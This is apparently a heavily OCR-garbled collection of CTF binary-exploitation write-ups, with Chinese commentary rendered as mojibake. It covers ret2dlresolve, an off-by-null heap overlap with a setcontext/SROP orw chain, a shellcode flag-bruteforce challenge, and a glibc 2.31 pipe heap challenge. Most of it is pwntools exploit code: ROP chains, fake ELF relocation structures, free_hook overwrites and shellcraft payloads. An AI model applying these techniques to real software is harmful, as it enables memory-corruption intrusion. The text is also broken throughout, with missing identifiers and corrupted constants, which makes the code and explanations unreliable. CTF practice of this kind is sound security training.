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no_output
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ox28u);

R JGread hello_boy i id 6 il

dd offset
dd offset
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char buf[e8]; //

return (e, , 256u);

% 5 B2 B 32/ ret2dIresolve [IER T

from pwn import

ELF(challenge)

r remote(
elf = ELF(challenge)
if arch==64:
context.arch
if arch==32:
context.arch
lambda : pause()
lambda : success(x)
lambda : r.recv(x)
lambda
lambda
lambda
lambda
lambda : r.interactive()

recvuntil(x)
recvline()
send(x)
sendline(x)

r.
r.
r.
r.

lambda a, b : r.sendlineafter(a, b)
lambda a, b : r.sendafter(a, b)
leave_ret 0x080491a5
bss_stage = elf.bss() 0x200
fake_ebp bss_stage
offset Ox4c-8+8

0x80490C4

ppp_ret 0x08049581
pop_ebp ret 0x08049583
leave_ret 0x080491a5




stack _size 0x800
bss_addr 0x0804c040

base stage bss_addr stack_size

payload flat(
p32(read_plt)
p32(ppp_ret)
p32(0)
p32(base_stage)
p32(100)
p32(pop_ebp_ret)
p32(base_stage)
p32(leave_ret))
.send(payload)

cmd

plt_© = 0x8049030

rel plt 0x8048414

dynsym = 0x08048248

strtab = 0x08048318

fake_write_addr = base_stage + 28
fake_write_addr rel plt
elf.got| ]

align = 0x10 ((base_stage + 36 - dynsym) 16)
fake_sym_addr base_stage 36 align

r_info ((((fake_sym_addr - dynsym)//16) 8) 0x7)
fake_write_rel flat(p32(r_offset), p32(r_info))
fake_write_str_addr base_stage 36 align 0x10
fake_name = fake_write_str_addr - strtab

fake_sym flat(p32(fake_name),p32(0),p32(0),p32(0x12))

fake_write_str

payload2 = flat(
p32(plt_0)
fake_arg
p32(ppp_ret)
p32(base_stage
p32(base_stage
p32(len(cmd))
fake_write_rel

align

fake_sym
fake_write_str

flat( (80 (payload2)) , cmd
flat( (100 (payload2)))

FR&I &S glibc2.27, HseccompZti T exec

A A: editRBE AR Off by null, 4IRATEF 58chunk, RJ5 T —A chunkisize A& 1 RIF 9 0x1 1B 5k B fist &




while ( 1 )

if (!

break;
if ( *
{

&
return

RIEBRAIKIX I prev_sizeM BAIEE, #etthi&prev_size, MiiiEiLunlinkszHoverlap

FIF B off by null in unlink 5tAEscBoverlap, MTTEEMNES, show#E N

for ( 1 = 2; = 0; —i)
n= (Bx20 * 21) * ((a1 ™ (@x20 * a1)) => ox11) ~ (((ex20 * a1) * ~ ((a1 ~ (ex20 * al)) >> Bx11)) << 13);

return ( : J;

FZ3f#mAT, B—unsortedbin® % Bk Eshow'E [Ifd, HteEtElibec, B)5ESROPEfag. it 4R BN AT

from pwn import
from z3 import
context.log_level
context.arch
context.binary
libc ELF(

remote(

solve(target):

al BitVec( , 33)

ori_al al

for i in (2):
iteml (32 al) oxffffffff
al iteml (((a1 ~ iteml) 17) Oxffffffff) (((item1 ~ a1 (((a1 ~ iteml) 17) Oxffffffff))

13) & oxffffffff)

s = Solver()

s.add(al target)

s.check()

result = s.model()

return result[ori_al].as_long()

add(size):
sh.sendlineafter(
sh.sendafter(

delete(index):
sh.sendlineafter(




sh.sendlineafter(

edit(index,data):
sh.sendlineafter(
sh.sendlineafter(
sh.sendafter(

show(index):
sh.sendlineafter(
sh.sendlineafter(

sh.recvuntil( )

rel (sh.recvuntil( )[:

rel solve(rel)

re2 (sh.recvuntil(

re2 solve(re2)

return (rel+re2)

debug():
gdb.attach(sh)
pause()

iin (7):
add(0x100)

i in (7):
add(oxf0)

i in (7):
delete(i+7)

(index))

)
5 (index))
,data)

(index))

1],16)

)[:-1],16)
0x100000000

Oxf0+p64(256)+p64(0x21))

0x10)
0x108)
0x107
0x106
0x105
0x104
0x103
0x102
0x100
(7):
delete(i)

delete(7)
delete(10)

show(9)
(libc_base))
malloc_hook

free_hook libc_base

libc_base

libc.sym[

libc.sym[
libc.symbols|

0x10 -96




0x100+p64(0)+p64(0x90)+p64(free_hook))

libc_base libc.symbols|
(setcontext))

new_execve_env = free_ hook & @xfffffffffffffooo
shellcodel

new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) asm(shellcodel))

SigreturnFrame()
.rsp = free_hook + 8
.rip = libc_base + libc.symbols[
.rdi new_execve_env
.rsi 0x1000
4 p)

(frame))

shellcraft. (

shellcraft.read(3,

shellcraft.write(1,
asm(shellcode)

sh.sendline(payload)
sh.interactive()

orw

TRIA i fEaddfifree chunk B 78 16 T bR
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from pwn import
import sys

context.log level

context.arch

lambda
lambda
lambda
lambda
lambda
lambda
lambda
lambda
lambda
lambda

(%]

name,

info : success(name (info))

function : libc.symbols[function]

msg
msg
info,
info,
num
msg
msg
msg

: p.send(msg)

: p.sendline(msg)
msg: p.sendafter(info, msg)
msg: p.sendlineafter(info, msg)

: p.recv( (num))

: p.recvuntil(msg)
:u32(msg.ljust(4,
:ub4(msg.ljust(8,

chunk_list ©x5555557560e0

O




gdb.attach(p,
else:
print
else:

success(

def choose(num):

p.sendlineafter(

def add(idx, size, msg):

choose(1)

sdla( (idx))
sdla( (size))
sdla( , msg)

def delete(idx):

choose(4)
sdla(

def exp():
shell
shell
shell
shell
shell
shell
shell
add(-25, @, shell)
db()
delete(-25)

payload asm(shellcraft.

payload




payload
p.sendline(payload)

p.interactive()

if _ _name__
if local
p process(
libc ELF(

else:
p remote(

exp()

shellcode

e alpha3 jn# shellcode ] LA3RTS AT 4T Ep Z /[ shellcode,
o BT PI#3210% 64417 LAMIKFopenFliread ) R& A,
o EANflagPl/EBAEITEN, FHcmp+HzER, BALELE, nRX AL 7475 IEH R SETE 3L,

(0x3Cu);

(38, luLL, OLL, OLL);

(22, 2uLL, , v2);

(6LL, ©x1000ulLL, TulLlL, ®x22ulLlL, OxFFFFFFFFuLL, OLL);
(o, , 0x10060uLL);

- 1] == 10 )

for (
{

if ( [i] <= 31
goto LABEL_10;

% —Eshellcode MR HTEN, Jommapth SR —R3261 0115 1 A7, LA —Bshellcode, 28 Z BRI LA ESRATITED T, X—BE
BERANTES retfq BERI32ML #1047,

RJEEI3262 LAJE AT LAfE FopenRAHA T, FBkEI6ANr, XIHMER LAEHE retfq B T —H), WUE—i&, R/56441T A Lread
#kflag, RIGHH —B cmp + jz BBRE — B, n Rflaghs Bz IER I TESCAESN, IXHEA] DUBIE TR 7 2 75 A 54 W I,
TR AT LAHEAT R A



from pwn import

def pwn(cn, reloc, ch):
payload

cn.sendline(payload)

open32

to64
readed

if reloc 0:

shellcode . (reloc, ch)
else:

shellcode . (reloc, ch)

check asm(shellcode, arch

payload open32 to64 read64 check

cn.send(payload)

for ch in (33, 127):
cn remote( , 50050)

try:
print(ch)
pwn(cn, reloc, ch)
cn.recvline(timeout=3.0)

my_flag = my_flag (ch)
print( , my_flag)
reloc 1
cn.close()
break;
except EOFError:
ch 1
cn.close()

.join([ (i) for i in ans]))

cn remote( , 50050)
pwn(cn, i, (flag[i]))

print( , i, flag[i])
cn.interactive()

pipeline




e |ibc2.31
o MEWIH
o Fi& N RUKHEBMpipe->data, SZIEEMIHBH,

A EERE NdataKI gV 2 H 75 1641,

);

->offset;

-=offset), v1);

JEHEANRBULE R SEL, £ Mint 165936 Nunsigned int 64,

unsigned __intéu result; //

char buf; //
int i; //

for (
{
if (
break;

if ( (e, &buf, 1uLl) == 0 )

( D
e);

XERSRE A AEERIT if (size <= v1) ERVIARAE, AREHAN my read BELLEEIUGEH 29X BESHWRBAINSER, XHE
o DAL JE 33 N IES, AT H SR —AN0xfOf00f0fR 4 N, BN RI7E J5 T SEPL my_read(buf, oxefef) Wi,

Bo&HERK, BBERTR fpipe->datafi, SEIUEEMNEES

from pwn import

[0x00000000000018AF |

def pipe():
sla(

def data(index, offset, size):
sla( s )
sla( (index))




sla( (size))

edit(index, size, data):
sla( 5 )

sla( (index))
sla( 5 (size))
sla( , data)

show(index) :
sla( 5
sla( (index))

dele(index):
sla( )
sla( (index))

[DCION
pipe()
pipe()
pipe()

data(o9, 0x410)
data(1, 9, 0x38)
data(@, 0, 0x420)

pipe()
data(2,

pipe()

show(2)

ru( )

LIBC ubld(re(6, 2).ljust(s, )) 0x3b5be0
slog[ ] LIBC

data(4, 9, 0x490)
edit(2, oxfofooffo, flat( 0x48, 0x21, LIBC libc.sym[

edit(4, 8, p64(LIBC + libc.sym[ 1))

edit(9, ox8,

data(@, 9, 0x30)

context.os

context.log level
context.terminal

: 111}
(sys.argv[1])

if arch==64:
context.arch

if arch==32:
context.arch

if local:
cn process(




libc ELF(
else:

cn remote( )

ELF(

lambda m, t : .recv(numb=m, timeout=t)
lambda : .recv()

lambda : .recvuntil(x)

lambda : .recvline()

lambda : .send(x)

lambda : .sendline(x)

lambda : .interactive()
lambda : .sendlineafter(a, b)
lambda : .sendafter(a, b)

lambda : .sendlineafter( 5 X)
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